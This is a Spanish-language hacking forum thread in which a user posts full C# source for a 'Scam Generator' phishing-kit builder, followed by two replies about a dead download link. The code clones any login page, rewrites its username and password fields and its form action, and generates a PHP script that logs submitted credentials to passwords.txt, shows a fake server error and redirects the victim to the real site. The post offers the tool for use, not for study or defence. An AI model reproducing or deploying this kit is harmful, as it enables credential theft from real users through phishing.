[Codigo C#] Scam Generator by HckDrk

  • 2 Respuestas
  • 518 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado HckDrk

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 0
  • http://127.0.0.1
    • Ver Perfil
    • HckDrk

[Codigo C#] Scam Generator by HckDrk

  • en: Diciembre 17, 2019, 04:58:36 pm
Les traigo el código del phishing creator que hice hace un par de años, estaba aprendiendo C# por lo que puede que tenga errores y no sea la mejor forma de hacerlo, si alguien tiene criticas constructivas adelante.

Este es el post original -> You are not allowed to view links. Register or Login

Saludos.

Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net;
  7. using System.IO;
  8. using System.Diagnostics;
  9. using System.Text.RegularExpressions;
  10.  
  11.  
  12. namespace ConsoleApplication3
  13. {
  14.     class Program
  15.     {
  16.         static void Main()
  17.         {
  18.             intro();
  19.             startApp();
  20.  
  21.         }
  22.  
  23.         private static string startApp()
  24.         {
  25.             Console.Title = "Scam Generator by HckDrk V. 0.1";
  26.             string url = getUrl();
  27.             string codigo = getCodigo(url);
  28.             saveFile(CodeReplacement(codigo), url);
  29.             return Reset();
  30.  
  31.         }
  32.  
  33.         private static string getUrl()
  34.         {
  35.             Console.Write("Enter a URL: ");
  36.             string url = Console.ReadLine();
  37.             Uri uriResult;
  38.             if (Uri.TryCreate(url, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
  39.             {
  40.                 return url;
  41.             }
  42.             else
  43.             {
  44.                 Console.WriteLine("Error: The url is invalid");
  45.                 return getUrl();
  46.             }
  47.  
  48.         }
  49.  
  50.  
  51.         private static String getCodigo(String url)
  52.         {
  53.             try
  54.             {
  55.                 HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);
  56.                 HttpWebResponse miPeticionWeb = (HttpWebResponse)myHttpWebRequest.GetResponse();
  57.                 Stream datosRecibidos = miPeticionWeb.GetResponseStream();
  58.                 Encoding codificacion = System.Text.Encoding.GetEncoding("utf-8");
  59.                 StreamReader readStream = You are not allowed to view links. Register or Login StreamReader(datosRecibidos, codificacion);
  60.  
  61.                 return (readStream.ReadToEnd());
  62.             }
  63.             catch (Exception e)
  64.             {
  65.                 Console.WriteLine("Exception: {0}", e.Message);
  66.                 return startApp();
  67.             }
  68.  
  69.  
  70.         }
  71.  
  72.         private static string saveFile(string contenido, string url)
  73.         {
  74.             try
  75.             {
  76.                 Console.Write("Enter the name of the file: ");
  77.                 string archivo = Console.ReadLine();
  78.  
  79.                 if (archivo.Trim() == "")
  80.                 {
  81.                     Console.WriteLine("Error: the name can not be empty");
  82.                     return saveFile(contenido,url);
  83.                 }
  84.  
  85.                 string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
  86.                 string path_file = desktopPath + "\\hckdrk_download\\";
  87.                 string path_file_final = path_file + archivo + "\\";
  88.  
  89.                 verifyFolder(path_file);
  90.                 Directory.CreateDirectory(path_file_final);
  91.  
  92.                 string ruta_archivo = path_file_final + archivo + ".html";
  93.                 StreamWriter escrito = File.CreateText(ruta_archivo);
  94.                 escrito.Write(contenido);
  95.                 escrito.Flush();
  96.                 escrito.Close();
  97.  
  98.                 string ruta_archivo_php = path_file_final + "login.php";
  99.                 StreamWriter php = File.CreateText(ruta_archivo_php);
  100.                 php.Write(SetPhp(url));
  101.                 php.Flush();
  102.                 php.Close();
  103.  
  104.                 Console.WriteLine("File {0}.html saved correctly", archivo);
  105.                 Console.WriteLine("File login.php saved correctly");
  106.                 openFile(path_file_final);
  107.                 return "";
  108.             }
  109.             catch (Exception e)
  110.             {
  111.                 Console.WriteLine("Exception: {0}", e.Message);
  112.                 return "";
  113.             }
  114.  
  115.  
  116.         }
  117.  
  118.         private static string openFile(string ruta_archivo)
  119.         {
  120.  
  121.             Console.Write("Do you want to open the container folder? [Y/n]: ");
  122.             string abrir = Console.ReadLine();
  123.  
  124.             if (abrir == "Y")
  125.             {
  126.                 Process.Start(ruta_archivo);
  127.                 return "";
  128.             }
  129.             else if (abrir == "n")
  130.             {
  131.                 return "";
  132.             }
  133.             else
  134.             {
  135.                 Console.WriteLine("Error: Option not valid!");
  136.                 return openFile(ruta_archivo);
  137.             }
  138.  
  139.         }
  140.  
  141.         private static string verifyFolder(string dir)
  142.         {
  143.  
  144.             if (!Directory.Exists(dir))
  145.             {
  146.                 Console.Write("does not exist directory \"hckdrk_download\", Do you want to create it? [Y/n]: ");
  147.                 string crear_dir = Console.ReadLine();
  148.  
  149.                 if (crear_dir == "Y")
  150.                 {
  151.                     Directory.CreateDirectory(dir);
  152.                     Console.WriteLine("The directory was created correctly \"hckdrk_download\" at {0}.", Directory.GetCreationTime(dir));
  153.                     return "";
  154.                 }
  155.                 else if (crear_dir == "n")
  156.                 {
  157.                     return startApp();
  158.                 }
  159.                 else
  160.                 {
  161.                     Console.WriteLine("Error: Option not valid!");
  162.                     return verifyFolder(dir);
  163.                 }
  164.                
  165.             }
  166.             else
  167.             {
  168.                 return "";
  169.             }
  170.  
  171.         }
  172.  
  173.         private static string Reset()
  174.         {
  175.             Console.WriteLine("");
  176.             Console.Write("You want to download another page[Y/n]: ");
  177.             string nuevo = Console.ReadLine();
  178.  
  179.             if (nuevo == "Y")
  180.             {
  181.                 return startApp();
  182.             }
  183.             else if (nuevo == "n")
  184.             {
  185.                 Console.WriteLine("Thank you. Press any key to exit.");
  186.                 Console.WriteLine("So long.");
  187.                 Console.ReadKey();
  188.                 return "";
  189.             }
  190.             else
  191.             {
  192.                 Console.WriteLine("Error: Option not valid!");
  193.                 return Reset();
  194.             }
  195.         }
  196.  
  197.         private static string CodeReplacement(string codigo)
  198.         {
  199.             string pattern = "<input type=\"text\".*? name=\"(.*?)\" .*?>";
  200.             string patternTwo = "<input type=\"password\".*? name=\"(.*?)\" .*?>";
  201.             string patternThree = "<input type=\"email\".*? name=\"(.*?)\" .*?>";
  202.  
  203.             string patternForm = "<form .*?>";
  204.             //string pattern = "name=\"(.*?)\"";
  205.  
  206.             string replacement = "hckdrk_user";
  207.             string replacementTwo = "hckdrk_pass";
  208.             string replacementForm = "<form method=\"post\" action=\"login.php\">";
  209.  
  210.  
  211.             //return resultFinal;
  212.  
  213.             MatchCollection matches = Regex.Matches(codigo.Replace("\r\n", ""), pattern);
  214.             MatchCollection matchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo);
  215.             MatchCollection matchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree);
  216.  
  217.             int numberMatches = Regex.Matches(codigo.Replace("\r\n", ""), pattern).Count;
  218.             int numberOfMatchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo).Count;
  219.             int numberOfMatchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree).Count;
  220.  
  221.             string codigoino = codigo;
  222.            
  223.  
  224.             if (numberMatches <= 0)
  225.             {
  226.                 Console.WriteLine("operation aborted, input text was not found");
  227.                 return startApp();
  228.             }
  229.  
  230.             if (numberOfMatchesTwo <= 0)
  231.             {
  232.                 Console.WriteLine("operation aborted, input password was not found");
  233.                 return startApp();
  234.             }
  235.  
  236.             foreach (Match item in matches)
  237.             {
  238.                 //for (int i=0;i<item.Groups.Count;i++) {
  239.                 //}
  240.                 codigoino = codigoino.Replace("name=\"" + item.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
  241.                 Console.WriteLine("Set value input text: \"{0}\" to \"{1}\"", item.Groups[1].Value, replacement);
  242.             }
  243.  
  244.             string codigodoso = codigoino;
  245.  
  246.             foreach (Match itemTwo in matchesTwo)
  247.             {
  248.                 //for (int i=0;i<item.Groups.Count;i++) {
  249.                 //}
  250.                 codigodoso = codigodoso.Replace("name=\"" + itemTwo.Groups[1].Value + "\"", "name=\"" + replacementTwo + "\"");
  251.                 Console.WriteLine("Set value input password: \"{0}\" to \"{1}\"", itemTwo.Groups[1].Value, replacementTwo);
  252.             }
  253.  
  254.             string codigothree = codigodoso;
  255.  
  256.             foreach (Match itemThree in matchesThree)
  257.             {
  258.                 //for (int i=0;i<item.Groups.Count;i++) {
  259.                 //}
  260.                 codigothree = codigothree.Replace("name=\"" + itemThree.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
  261.                 Console.WriteLine("Set value input email: \"{0}\" to \"{1}\"", itemThree.Groups[1].Value, replacement);
  262.             }
  263.  
  264.             Regex rgx = You are not allowed to view links. Register or Login Regex(patternForm);
  265.             string result = rgx.Replace(codigothree, replacementForm);
  266.             Console.WriteLine("Change <form> to {0}", replacementForm);
  267.  
  268.             return result;
  269.  
  270.         }
  271.  
  272.         private static string SetPhp(string url)
  273.         {
  274.  
  275.             string codigo = @"<?php
  276. error_reporting(0);
  277. $user=$_POST['hckdrk_user'];
  278. $pass=$_POST['hckdrk_pass'];
  279.  
  280. @file_put_contents('passwords.txt', 'user: '.$user . ' | Password: '.$pass.PHP_EOL, FILE_APPEND);
  281. echo '<h1>Internal Server Error</h1>Please contact [email protected]';";
  282.             codigo = codigo + "header('Refresh: 5; url = " + url + "', true, 303);";
  283.             codigo = codigo + "?>";
  284.             return codigo;
  285.  
  286.         }
  287.  
  288.         private static void intro()
  289.         {
  290.             Console.WriteLine("========================================");
  291.             Console.WriteLine("==      Welcome to Scams Generator    ==");
  292.             Console.WriteLine("==          Powered by HckDrk         ==");
  293.             Console.WriteLine("==      Web Site: http://hckdrk.mx    ==");
  294.             Console.WriteLine("==    Web Site: http://underc0de.org  ==");
  295.             Console.WriteLine("========================================");
  296.             Console.WriteLine(Environment.NewLine);
  297.  
  298.  
  299.  
  300.            
  301.         }
  302.  
  303.  
  304.     }
  305. }
  306.  

Desconectado annonymoushack

  • *
  • Underc0der
  • Mensajes: 66
  • Actividad:
    13.33%
  • Reputación -2
    • Ver Perfil

Re:[Codigo C#] Scam Generator by HckDrk

  • en: Diciembre 24, 2019, 04:00:17 am
El link de tu otro post para bajar el programa, ya no funciona. Una lastima

Enviado desde mi SNE-LX3 mediante Tapatalk


Desconectado HckDrk

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 0
  • http://127.0.0.1
    • Ver Perfil
    • HckDrk

Re:[Codigo C#] Scam Generator by HckDrk

  • en: Diciembre 28, 2019, 01:46:03 am
You are not allowed to view links. Register or Login
El link de tu otro post para bajar el programa, ya no funciona. Una lastima

Enviado desde mi SNE-LX3 mediante Tapatalk

Tienes razòn, les pido una disculpa ya que cambiè de servidor y no pasè los archivos al nuevo servidor. Ya he cambiado el enlace al post original. Cuando gustes lo puedes descargar. O tambien lo puedes compilar con el còdigo que he puesto aquì.

Saludos.